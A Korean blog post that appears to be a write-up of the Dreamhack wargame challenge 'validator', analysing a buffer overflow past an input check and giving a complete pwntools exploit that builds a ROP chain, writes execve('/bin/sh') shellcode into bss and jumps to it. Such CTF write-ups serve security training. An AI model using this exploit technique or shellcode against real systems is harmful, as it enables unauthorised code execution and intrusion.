validator

ripemo·2025년 1월 29일

문제 분석

  • validator_dist와 validator_server 파일이 존재
  • dist 파일은 not stripped로 심볼이 있고 server 파일은 심볼이 없을 것이라고 판단
  • 간단히 디버깅 결과 두 파일의 main 함수의 주소가 다른 것을 확인. 따라서 실제 서버에서 돌아가는 server 파일을 대상으로 익스플로잇을 진행해야겠다고 판단.

  • 배열 s에 대해 read로 인한 BOF 발생

  • 입력값의 9번째 인덱스까지는 "DREAMHACK!" 이라는 문자열 들어가야 함
  • 10번째 인덱스는 검사 x
  • 11번째 인덱스부터 a2(s의 크기.128) 인덱스까지 각 인덱스의 값이 1씩 줄어들어야 함
  • 검사 후 rop 진행
  • read를 이용하여 bss 주소에 셸코드 삽입 후 해당 셸코드 주소로 리턴

exploit

from pwn import *
import sys

if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote("host1.dreamhack.games", 20535)

else:
    p = process("./validator_server")
    
e = ELF("./validator_server")
    
pause()

shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'

bss = e.bss()

poprdi = 0x00000000004006f3
poprsir15 = 0x00000000004006f1
poprdx = 0x000000000040057b
read_plt = e.plt["read"]

    
payload = b''
payload += b'DREAMHACK!\x00'
for i in range(127,10,-1):
    payload += i.to_bytes(1,'big')
payload += b'\x0a' * 8
payload += p64(poprdi) + p64(0)
payload += p64(poprsir15) + p64(bss) + p64(0)
payload += p64(poprdx) + p64(len(shellcode))
payload += p64(read_plt)
# payload += p64(poprdi+1)
payload += p64(bss)
    
p.send(payload)
p.send(shellcode)

p.interactive()

profile
hackyFrog

0개의 댓글